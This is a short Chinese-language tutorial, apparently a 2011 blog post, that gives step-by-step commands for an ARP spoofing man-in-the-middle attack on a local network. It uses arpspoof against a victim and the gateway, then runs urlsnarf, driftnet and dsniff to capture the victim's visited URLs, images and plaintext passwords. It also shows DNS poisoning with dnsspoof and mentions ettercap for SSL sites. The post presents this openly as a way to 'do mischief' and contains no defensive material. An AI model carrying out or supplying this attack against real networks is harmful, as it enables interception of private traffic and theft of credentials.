局域网其实是不安全的,尤其是在这个满大街wifi信号的年代。下面这个教程演示了如何利用arp欺骗截获被攻击客户端流量的实例。
首先需要一个Linux系统,我用的是Ubuntu 10.04. 本例中,实施攻击的Linux主机为A,被攻击的机器是B,局域网网关路由器的IP地址是192.168.1.1。
开启ip转发:
[cc lang="bash"]echo 1 > /proc/sys/net/ipv4/ip\_forward[/cc]
安装软件:
[cc lang="bash"]apt-get install nmap dsniff driftnet[/cc]
nmap是一个内网扫描工具,用来获取被攻击客户端的内网IP。如果你拥有路由器的管理权限,那连扫描都不需要了。
arp欺骗,也有人称之为ARP中间人攻击。用到的工具叫做arpspoof.
1.告诉网关(路由器)你的机器才是B:[cc lang="bash"]arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
[/cc]
2.告诉机器B,你其实才是网关(路由器):另开一个终端,输入[cc lang="bash"]arpspoof -i eth0 -t 192.168.1.10 192.168.1.1[/cc]
这样做的目的是为了让目标机器B的网络流量经过你的机器A,请不要关闭这个两个终端。
现在获得了目标机器的网络流量,就可以用这些东西来做一点坏事了.
嗅探目标机器B打开的网络链接:[cc lang="bash"]urlsnarf -i eth0[/cc]
可以cut一下,让结果更易阅读:[cc]urlsnarf -i eth0|cut -d\" -f4[/cc]
嗅探目标机器B的浏览器中显示的图片:[cc lang="bash"]driftnet -i eth0 #当B的浏览器打开含有图片的站点时,那些图片会显示在A的屏幕上。
[/cc]
嗅探明文密码,例如FTP之类的:[cc lang="bash"]dsniff -i eth0[/cc]
还可以来个DNS污染:
[cc lang="bash"]echo "10.1.1.1 *.google.com">dns.hosts
dnsspoof -i eth0 -f dns.hosts #好像用Google Chrome就失效,其他浏览器则OK。[/cc]
配合ettercap甚至可以嗅探到经过ssl加密的站点上的密码,详情请google.
2011-11-15